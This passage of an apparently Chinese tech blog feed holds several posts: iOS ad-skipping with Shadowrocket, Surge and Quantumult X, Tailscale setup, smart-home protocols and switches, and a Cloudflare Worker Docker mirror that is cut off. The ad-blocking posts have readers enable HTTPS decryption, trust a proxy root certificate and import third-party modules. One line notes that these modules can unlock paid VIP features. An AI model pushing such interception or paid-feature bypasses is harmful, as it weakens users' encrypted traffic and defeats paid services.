    <published>2024-06-23T05:23:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<h2 id="说明">说明</h2><p>之前发过一篇文章说明Apple跳过广告的方法，主要是讲了surge，小火箭一笔带过。结果下面很多人反馈规则不生效，所以今天我就使用小火箭来试一下并说明使用方法。</p><p>首先我要说的是，之前分享的规则并不是所有app都能生效！因为作者写的规则肯定不会覆盖到所有app的，如果需要不存在里面的需要自己去单独找或者自己写。我这边是建议用圈X，相对而言用的人较多，规则也较全。</p><h2 id="使用方式">使用方式</h2><h3 id="首先打开https解密">首先打开https解密</h3><p>我是一开始就使用了https解密，并没有试验过是不是一定要https解密。实际上当我关闭https解密时跳过广告也能生效，但是留言有小伙伴提醒需要，那我就加上https解密的配置，作为保险手段。<br>打开方式：<br>配置-&gt;右上角+号，导入下列url<br><a href="https://whatshub.top/config/shadowrocket_basic.conf">https://whatshub.top/config/shadowrocket_basic.conf</a></p><p>导入完成后，点击新增的本地配置<code>shadowrocket_basic.conf</code>点击<code>使用配置</code>按钮。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/8646ba73915fca3d5b9a8477969d4605.png" alt="image.png"></p><p>点击配置文件<code>https解密</code>按钮。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/7ccf5ec982587e15ff77ef447014a7cc.png" alt="image.png"></p><p>打开https解密按钮<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/886edeee658af0f90e848933b980a253.png" alt="image.png"></p><p>安装证书<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/fa38d28460dd8a64ff69377cf557e685.png" alt="1720253919539.png"></p><p>在iphone中的<code>设置</code>-&gt;<code>通用</code>-&gt;<code>VPN与设备管理</code>中安装证书</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/b1b440c6bfadcba6981abbedade21c4b.png" alt="1720254017067.png"></p><h3 id="配置文件-模块-导入">配置文件-&gt;模块-&gt;导入</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/11ff75e8d37fbc30e106fa8074d0ae6a.png" alt="image.png"></p><h3 id="通过url添加模块规则">通过url添加模块规则</h3><p>url链接为:</p><p><a href="https://whatshub.top/module/adultraplus.module">https://whatshub.top/module/adultraplus.module</a></p><p>等到一会添加完成之后会有弹框提示，然后确保出现如下界面，APP启动页去广告ultra+旁边勾上。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/ede5682ac5b47199111b3896a6d6dc7d.png" alt="image.png"></p><h3 id="启用规则">启用规则</h3><p>注意下方的全局路由选择<code>配置</code>,然后上方小火箭那开关要打开。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/4b0edad1fdace1c3c5417370108fd598.jpg" alt="3ab0e737eb81605dffce11ef736d6ff.jpg"></p><h2 id="使用效果，以知乎app为例">使用效果，以知乎app为例</h2><div style="position: relative; width: 100%; height: 0; padding-bottom: 75%;">    <iframe src="//player.bilibili.com/player.html?bvid=BV1DZhoeEEUi&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" style="position:absolute; height: 100%; width: 100%;"> </iframe></div>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;说明&quot;&gt;说明&lt;/h2&gt;
&lt;p&gt;之前发过一篇文章说明Apple跳过广告的方法，主要是讲了surge，小火箭一笔带过。结果下面很多人反馈规则不生效，所以今天我就使用小火箭来试一下并说明使用方法。&lt;/p&gt;
&lt;p&gt;首先我要说的是，之前分享的规则并不是所有app都能生效！因</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.allbs.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="苹果" scheme="https://blog.allbs.cn/tags/%E8%8B%B9%E6%9E%9C/"/>
    
  </entry>
  
  <entry>
    <title>苹果手机跳过APP开屏广告的办法</title>
    <link href="https://blog.allbs.cn/posts/7969/"/>
    <id>https://blog.allbs.cn/posts/7969/</id>
    <published>2024-06-23T04:23:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[!前言]<br>是不是被各APP开屏广告搞的厌烦？羡慕安卓有<code>李跳跳</code>这种方便的工具？下面我将告诉你如何在苹果手机中屏蔽这些烦人的广告。</p></blockquote><h2 id="需要借助的软件">需要借助的软件</h2><p><em>圈x</em>、<em>surge</em>、<em>小火箭</em>等都可以。这三款软件截图如下:<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/866b2edf197791ccd3d9be6f74d85c7a.png" alt="image.png"></p><p><strong>注意</strong>：下载这些软件的前提都是需要一个苹果的外区账号，美区、港区等都可以，我这边建议用美区的。可以在官网注册，注册时地区选择非大陆的其他地区，不用绑定支付方式。但是下载这些软件有的是需要付费或者内购的，可以使用苹果礼品卡充值。充值方式看这篇：</p><h2 id="软件的用法">软件的用法</h2><h3 id="无论哪款软件都需要的前提">无论哪款软件都需要的前提</h3><p><em><strong>需要将mitm开关或https解密打开！！！</strong></em><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/f511afa1568f1820ec6ca2161b51b93a.jpg" alt="021992576017dbe98302d7963b9f9fb.jpg"></p><h3 id="surge">surge</h3><p>surge需要内购，几十美刀还挺贵，贵在功能晚上界面做的也不错，下面这个网址是surge的各种模块链接，目的都是拓展苹果中app的功能，点击需要的模块粘贴到surge的模块中即可使用。当前只说跳过APP开屏广告，其他功能感兴趣的可以自己看看。</p><p><a href="https://whatshub.top/surge">https://whatshub.top/surge</a></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/f46798812ad2e58268adde8be3142b56.png" alt="image.png"></p><p>如果只需要跳过广告的功能只需要这个链接<br><a href="https://whatshub.top/module/adultraplus.sgmodule">https://whatshub.top/module/adultraplus.sgmodule</a></p><p>具体怎么使用，请看VCR:</p><div style="position: relative; width: 100%; height: 0; padding-bottom: 75%;">    <iframe src="//player.bilibili.com/player.html?bvid=BV1SZhoeEEZD&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" style="position:absolute; height: 100%; width: 100%;"> </iframe></div><p>开启后的效果如下:</p><div style="position: relative; width: 100%; height: 0; padding-bottom: 75%;">    <iframe src="//player.bilibili.com/player.html?bvid=BV1SZhoeEEyk&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" style="position:absolute; height: 100%; width: 100%;"> </iframe></div><h3 id="圈X">圈X</h3><p>圈x是一个性价比比较高的方案，用的人也挺多的。圈x只有下载的8美刀，换算rmb50多块吧。<br>因为我没买圈X，只能提供一个详细的用法链接给你们，github作者禁止转载，你们可以具体看这个链接中的内容:<br><a href="https://github.com/ddgksf2013">https://github.com/ddgksf2013</a></p><p>模块链接可以使用:<br><a href="https://whatshub.top/quantumultx">https://whatshub.top/quantumultx</a><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/f8fb4033bf36b4110e6bb11df4744df7.png" alt="image.png"><br>其他用法感兴趣的可以自己添加，比如没有vip依旧解锁vip功能等。去开屏广告使用如下模块链接:<br><a href="https://whatshub.top/rewrite/adultraplus.conf">https://whatshub.top/rewrite/adultraplus.conf</a></p><h3 id="小火箭">小火箭</h3><p>具体的操作可以查看这篇文章</p><a href="/posts/10392/" title="Apple小火箭跳过开屏广告">📄 小火箭的操作文档</a><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/2e832ce5fbbca8510cf05953a2ab1708.jpg" alt="bf6d85c30b00b18db1e7a3b918c26b0.jpg"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/39f600b9f59b272734258bb5873ac919.jpg" alt="b38301f027e4ed1522153006fff1802.jpg"></p><p>模块链接：</p><p><a href="https://whatshub.top/shadowrocket">https://whatshub.top/shadowrocket</a></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/a35cb7c4e6c8c33fa260c067d2e99d22.png" alt="image.png"></p><p>去开屏广告的话直接复制这个模块链接:</p><p><a href="https://whatshub.top/module/adultraplus.module">https://whatshub.top/module/adultraplus.module</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;[!前言]&lt;br&gt;
是不是被各APP开屏广告搞的厌烦？羡慕安卓有&lt;code&gt;李跳跳&lt;/code&gt;这种方便的工具？下面我将告诉你如何在苹果手机中屏蔽这些烦人的广告。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;需要借助的软件&quot;&gt;需要借助的软件</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.allbs.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="苹果" scheme="https://blog.allbs.cn/tags/%E8%8B%B9%E6%9E%9C/"/>
    
  </entry>
  
  <entry>
    <title>异地组网-----tailscale</title>
    <link href="https://blog.allbs.cn/posts/57348/"/>
    <id>https://blog.allbs.cn/posts/57348/</id>
    <published>2024-06-19T06:40:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[!前言]<br>日常生活中肯定遇到这种情况：在家里的时候需要访问公司网络，或者两个不同的家庭玩一款不具备游戏服务器的单机游戏。但是两个网络环境都为局域网，肯定没法互相访问。那么针对这种情况，除了使用ddns代理公网ip并配置微信公众号说了秒删的那种方式外还可以使用tailscale做异地组网。异地组网是将两个不同的局域网连接起来，所以配置环境肯定是需要两个以上，下面是针对一个端为istoreos的软路由系统,另外一个端为windows系统的情况的示例，可以类比到两个端都为windows、两个端都为linux、一个端IOS一个端windows等情况。我就不一一列举了，至于安装方式都是大同小异的。</p></blockquote><h2 id="windows系统-其中一个局域网">windows系统(其中一个局域网)</h2><h3 id="下载windows中的tailscale">下载windows中的tailscale</h3><p><a href="https://tailscale.com/download/windows">https://tailscale.com/download/windows</a></p><h3 id="设置windows中internet属性">设置windows中internet属性</h3><p>在cmd中输入<code>inetcpl.cpl</code>打开并勾上全部<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/b8f3842d3e355ca399bafb3911be34ae.png" alt="image.png"></p><h3 id="启动Ip-Helper">启动Ip Helper</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/8650a623b2529f4d82948323efb181f0.png" alt="image.png"></p><h3 id="安装">安装</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/2ed585433ecf66267e39088b306ec63e.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/09ab0f32befab2f19f72c4d3e6f96d88.png" alt="image.png"></p><h3 id="在控制栏中打开tailscale">在控制栏中打开tailscale</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/09dd1df7d2fe3da70bb1a71094d4eece.png" alt="image.png"></p><h3 id="登录后控制面板中就可以看到组网的两台机器">登录后控制面板中就可以看到组网的两台机器</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/a7fb25fe48c66c9470974f6cbf4642a9.png" alt="image.png"></p><h2 id="软路由istoreOS系统-另外一个局域网，如果还是windows将上述过程重复一遍即可">软路由istoreOS系统(另外一个局域网，如果还是windows将上述过程重复一遍即可)</h2><h3 id="在系统商店里面搜索后点击安装">在系统商店里面搜索后点击安装</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/160ddea96b66deef0579e9ec0d7a0693.png" alt="image.png"></p><h3 id="打开tailscale官网">打开tailscale官网</h3><p><a href="https://tailscale.com/">https://tailscale.com/</a></p><h3 id="注册登录">注册登录</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/afb2d4e0c1f842585f8cbf242a2fc5c4.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/4335ccf08f9c0e20ca8296391ef5397c.png" alt="image.png"><br>我这里用的是谷歌登录，没有科学的可以用其他登录方式</p><h3 id="在软路由中打开tailscale">在软路由中打开tailscale</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/007dc049e3c1e4f0f628bb3c7931484e.png" alt="image.png"></p><h3 id="获取tailscale的登录连接">获取tailscale的登录连接</h3><p>通过shell登录到istoreos中并输入指令<code>tailscale up</code>获取登录链接<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/6b874a6b530f749f12d8eee570a7ecd3.png" alt="image.png"></p><h3 id="将链接复制到浏览器中">将链接复制到浏览器中</h3><p>用你注册时的方式登录即可<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/125638eef94ad425f6aa2842344b16e6.png" alt="image.png"><br>这样你的设备就注册进去啦<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/ebeec0ccf7e54329f2f29d3e5488f8bc.png" alt="image.png"></p><h3 id="查看istoreOS中的状态">查看istoreOS中的状态</h3><p>显示以下内容说明成功了<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/0b6630aafbf654bc3a0e43dd2c8bbfaa.png" alt="image.png"></p><h2 id="测试使用">测试使用</h2><p>使用tailscale控制面板中的ip进行登录，发现已经能够正常访问异地组网的机器，注意这边用的ip是tailscale中的地址而不是你内网设备的ip地址。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/09f72c6f17097d5f8a0301c7688aa09d.png" alt="image.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;[!前言]&lt;br&gt;
日常生活中肯定遇到这种情况：在家里的时候需要访问公司网络，或者两个不同的家庭玩一款不具备游戏服务器的单机游戏。但是两个网络环境都为局域网，肯定没法互相访问。那么针对这种情况，除了使用ddns代理公网ip并配置微信公众号说了秒删的</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.allbs.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="技巧" scheme="https://blog.allbs.cn/tags/%E6%8A%80%E5%B7%A7/"/>
    
  </entry>
  
  <entry>
    <title>智能家居-----协议篇</title>
    <link href="https://blog.allbs.cn/posts/17734/"/>
    <id>https://blog.allbs.cn/posts/17734/</id>
    <published>2024-06-13T02:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[!前言]<br>智能家居不同厂家设备协议是五花八门，现阶段常用的是蓝牙(小米)，Zigbee(绿米)，wifi(各式各样厂家app)，Matter(Google、Apple、Amazon等)</p></blockquote><h3 id="1-Wi-Fi">1. Wi-Fi</h3><p><strong>优点</strong>:</p><ul><li><strong>广泛兼容</strong>: 几乎所有智能设备和家用路由器都支持Wi-Fi。</li><li><strong>高带宽</strong>: 适合需要大量数据传输的设备，如摄像头、智能电视等。</li><li><strong>覆盖范围广</strong>: 家庭中的大部分区域都能覆盖。<br><strong>缺点</strong>:</li><li><strong>功耗高</strong>: 对于电池供电的设备不太友好。</li><li><strong>网络拥堵</strong>: 设备过多时，可能导致网络拥堵，影响设备响应速度。</li></ul><h3 id="2-Zigbee">2. Zigbee</h3><p>绿米家的，很方便的能够接入apple的家庭。<br><strong>优点</strong>:</p><ul><li><strong>低功耗</strong>: 适合电池供电的设备，如传感器、智能门锁等。</li><li><strong>自组网</strong>: 设备可以自动组建和维护网络，网络稳定性高。</li><li><strong>支持设备多</strong>: 一个Zigbee网络可以支持上百个设备。<br><strong>缺点</strong>:</li><li><strong>需要网关</strong>: 大多数情况下，需要一个Zigbee网关连接到家庭网络。</li><li><strong>带宽较低</strong>: 不适合大量数据传输的设备。</li></ul><h3 id="3-Z-Wave">3. Z-Wave</h3><p><strong>优点</strong>:</p><ul><li><strong>低功耗</strong>: 类似Zigbee，适合电池供电的设备。</li><li><strong>设备互通性强</strong>: 通过Z-Wave联盟认证的设备能互通。</li><li><strong>网络稳定</strong>: 自组网功能使得网络稳定性高。<br><strong>缺点</strong>:</li><li><strong>需要网关</strong>: 与Zigbee类似，需要一个Z-Wave网关。</li><li><strong>设备选择相对少</strong>: 相较于Zigbee和Wi-Fi，支持Z-Wave的设备种类较少。</li></ul><h3 id="4-Bluetooth-Low-Energy-BLE">4. Bluetooth Low Energy (BLE)</h3><p>米家就是用的这个。<br><strong>优点</strong>:</p><ul><li><strong>超低功耗</strong>: 非常适合需要长时间运行的电池供电设备。</li><li><strong>低延迟</strong>: 适用于需要快速响应的设备，如门锁、灯泡等。</li><li><strong>直接连接</strong>: 大多数智能手机和平板电脑都支持BLE，方便设备直接连接控制。<br><strong>缺点</strong>:</li><li><strong>覆盖范围小</strong>: 通常在10-50米左右，不适合大面积家庭。</li><li><strong>设备数量限制</strong>: 一个BLE网络能支持的设备数量有限。</li></ul><h3 id="5-Thread">5. Thread</h3><p><strong>优点</strong>:</p><ul><li><strong>低功耗</strong>: 适合电池供电的设备。</li><li><strong>自组网</strong>: 类似Zigbee和Z-Wave，具有自组网和自修复功能。</li><li><strong>无单点故障</strong>: 没有单一的网关，网络更可靠。<br><strong>缺点</strong>:</li><li><strong>需要网关</strong>: 虽然本身不需要单一网关，但要与互联网通信，还是需要一个网关设备。</li><li><strong>设备相对少</strong>: 目前支持Thread协议的设备还不多。</li></ul><h3 id="6-Matter">6. Matter</h3><p>绿米设备已经在逐渐支持<br><strong>优点</strong>:</p><ul><li><strong>兼容性强</strong>: 旨在解决智能家居设备之间的互操作性问题，跨品牌和协议兼容。</li><li><strong>统一标准</strong>: 由多个主要科技公司支持（如Google、Apple、Amazon），未来前景广阔。<br><strong>缺点</strong>:</li><li><strong>新兴协议</strong>: 尚处于推广阶段，设备选择相对较少。</li><li><strong>需要软件更新</strong>: 现有设备可能需要固件升级才能支持Matter协议。</li></ul><h3 id="7-Infrared-IR-and-Radio-Frequency-RF">7. Infrared (IR) and Radio Frequency (RF)</h3><p><strong>优点</strong>:</p><ul><li><strong>广泛应用</strong>: 传统的家电设备，如电视、空调等常用。</li><li><strong>不依赖网络</strong>: 可以在无网络情况下工作。<br><strong>缺点</strong>:</li><li><strong>无反馈</strong>: 无法确认设备是否收到并执行指令。</li><li><strong>视线限制</strong>: 红外线需要直接视线，受障碍物影响。</li></ul><h3 id="8-KNX">8. KNX</h3><p><strong>优点</strong>:</p><ul><li><strong>稳定可靠</strong>: 广泛用于楼宇自动化，具有很高的可靠性和稳定性。</li><li><strong>灵活扩展</strong>: 可以轻松扩展，适用于大型住宅和商业建筑。<br><strong>缺点</strong>:</li><li><strong>安装复杂</strong>: 需要专业安装和编程，不适合普通家庭用户。</li><li><strong>成本高</strong>: 初期安装和维护成本较高。</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;[!前言]&lt;br&gt;
智能家居不同厂家设备协议是五花八门，现阶段常用的是蓝牙(小米)，Zigbee(绿米)，wifi(各式各样厂家app)，Matter(Google、Apple、Amazon等)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;</summary>
      
    
    
    
    <category term="智能家居" scheme="https://blog.allbs.cn/categories/%E6%99%BA%E8%83%BD%E5%AE%B6%E5%B1%85/"/>
    
    
    <category term="智能家居" scheme="https://blog.allbs.cn/tags/%E6%99%BA%E8%83%BD%E5%AE%B6%E5%B1%85/"/>
    
  </entry>
  
  <entry>
    <title>智能家居-----智能开关和灯具篇</title>
    <link href="https://blog.allbs.cn/posts/6054/"/>
    <id>https://blog.allbs.cn/posts/6054/</id>
    <published>2024-06-13T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<p>要实现自动开关灯有几种组合</p><ol><li><em><strong>凌动开关+智能灯</strong></em>: 传统家庭灯具得开关无论几开实际上控制得是一条<strong>火线</strong>，并没有零线。凌动开关就是一个普通开关加一个弹簧，实现按开开关后自动回弹，保持灯具通路状态，直接在智能灯上实现<strong>亮/灭</strong>。</li><li><em><strong>智能开关(单火线版)+普通灯</strong></em>: 同样是没有零线得家庭得一种选择，智能开关<strong>无需零线</strong>。但是单火是无法完全断开电路的，开关断开后依然会有微弱电流，这个时候如果遇到功率比较低或者启动器质量差的灯具，就会导致灯具有微弱亮光，或者间歇闪烁。同样电压不稳定也会对智能开关自身造成影响，我们知道智能开关最后肯定是需要接入网关或者app中，那么这就会导致智能开关频繁的在线和离线。</li><li><em><strong>智能开关(零火线通断开关)+普通灯</strong></em>:智能开关接入稳定，但是需要装修时<strong>预留零线</strong>，其实也可以后期从灯具的位置引一根零线到插座中，就是麻烦一点。注意这种开关一般也会分<strong>两种</strong>，一种是必须接入网关的版本，一种是直接接入app的版本。网关版本需要你<strong>额外加一个本地化的网关</strong>，才能将开关接入进去，但是这种方式哪怕你家断网也可以执行一些本地化的操作。直接接入app，优点是不用再加一个需要一直通电的网关，所有执行的请求会从云端过一次，导致一是执行速度慢，而是容易被断网所影响。</li><li><em><strong>智能开关(零火线智能面板)+普通灯</strong></em>:同样接入比较稳定，同样需要<strong>预留零线</strong>。智能面板一般也是会预留三个有线控制，也就是说这些开关可以直接控制灯具。智能面板的会有自定义的面版组合，你可以在里面加入若干的无线开关、加入窗帘开关等等，这种面板不局限开关数据和分布，理论上有无限种可能。而且有的面板自带网关，可以将其他需要接入网关的设备接入其中。</li><li><em><strong>智能开关+智能灯</strong></em>:唯一有变化的就是普通灯变为智能灯，智能灯说实话优点鸡肋，无非是更换颜色和日/夜模式，而且智能灯的款式远远不如普通灯多。说实话，调亮度有些用但是基本上没啥大用。<br>以表格展示:</li></ol><table><thead><tr><th>组合形式</th><th>前置条件</th><th>优点</th><th>缺点</th></tr></thead><tbody><tr><td>凌动开关+智能灯</td><td>无需零线</td><td>无需零线</td><td>凌动开关选择面太少，长的还丑，又厚实，开关声音还贼大，开关时间还有要求，短了不行。智能灯款式少。</td></tr><tr><td>智能开关(单火线版)+普通灯</td><td>无需零线</td><td>无需零线</td><td>无法完全断开电路，可能导致微弱亮光或间歇闪烁。开关可能会频繁在线和离线。普通灯款式多。</td></tr><tr><td>智能开关(零火线通断开关)+普通灯</td><td>需要零线</td><td>接入稳定，相当于凌动开关好看的多。</td><td>部分需要本地化的网关提供接入，另一部分经过云端，执行速度慢，而且家庭网络有问题时会产生联动问题。普通灯款式多。</td></tr><tr><td>智能开关(零火线智能面板)+普通灯</td><td>需要零线</td><td>好看，接入稳定，理论有无限种开关组合，可以接入其他智能设备。</td><td>带网关版的很贵。耗电。</td></tr><tr><td>智能开关+智能灯</td><td>需要零线</td><td>可以调亮度，可以切换日/夜模式。</td><td>智能灯款式较少，贵，耗电。</td></tr></tbody></table>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;要实现自动开关灯有几种组合&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;凌动开关+智能灯&lt;/strong&gt;&lt;/em&gt;: 传统家庭灯具得开关无论几开实际上控制得是一条&lt;strong&gt;火线&lt;/strong&gt;，并没有零线。凌动开关就是一个普通开关加一个弹簧，实现按开开关后自</summary>
      
    
    
    
    <category term="智能家居" scheme="https://blog.allbs.cn/categories/%E6%99%BA%E8%83%BD%E5%AE%B6%E5%B1%85/"/>
    
    
    <category term="智能家居" scheme="https://blog.allbs.cn/tags/%E6%99%BA%E8%83%BD%E5%AE%B6%E5%B1%85/"/>
    
  </entry>
  
  <entry>
    <title>使用cloudflare配置一个国内镜像库，实现无科学使用docker</title>
    <link href="https://blog.allbs.cn/posts/33378/"/>
    <id>https://blog.allbs.cn/posts/33378/</id>
    <published>2024-06-07T09:15:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景">背景</h2><p>常使用docker的应该都知道，两年前因为那个不可说的原因，docker被墙了。但是国内还有各大厂商、高校的国内镜像，能够满足我们的日常需求。</p><p>但是，今年6月份，各大高校厂商全部关闭了docker的国内镜像库。没有docker，日常开发部署的便利性极大的降低，各种开源软件的部署变得极为麻烦。毕竟熟悉了docker之后谁愿意再去使用传统的部署方式呢。</p><h2 id="自己部署一个docker的镜像">自己部署一个docker的镜像</h2><p>总所周知赛博菩萨cloudflare提供了相当多的免费功能，日常很出名的免费防ddos攻击只是他其中一个用途。今天我们就使用它提供的Workers和Pages来制作一个国内可访问的docker镜像。</p><h3 id="开源库">开源库</h3><p><a href="https://github.com/cmliu/CF-Workers-docker.io">https://github.com/cmliu/CF-Workers-docker.io</a></p><h3 id="创建">创建</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/67ce9804218fe9e0791db79a2046b3a3.png" alt="Workers And Pages"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/290544cf373722bdd7fa8cd6c9f866b4.png" alt="创建Workers"></p><p>随便取个名字进行<code>部署</code>操作<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/dc037687b2bd226e1f918004bb5ec149.png" alt="image.png"></p><p>编辑代码<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/dd151cdabc3476b7603952e067c3d119.png" alt="image.png"></p><p>复制仓库<code>https://github.com/cmliu/CF-Workers-docker.io</code>的<a href="https://github.com/cmliu/CF-Workers-docker.io/blob/main/_worker.js" title="_worker.js">_worker.js</a> 内容填入</p><p>内容如下(注意修改workers_url)：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span 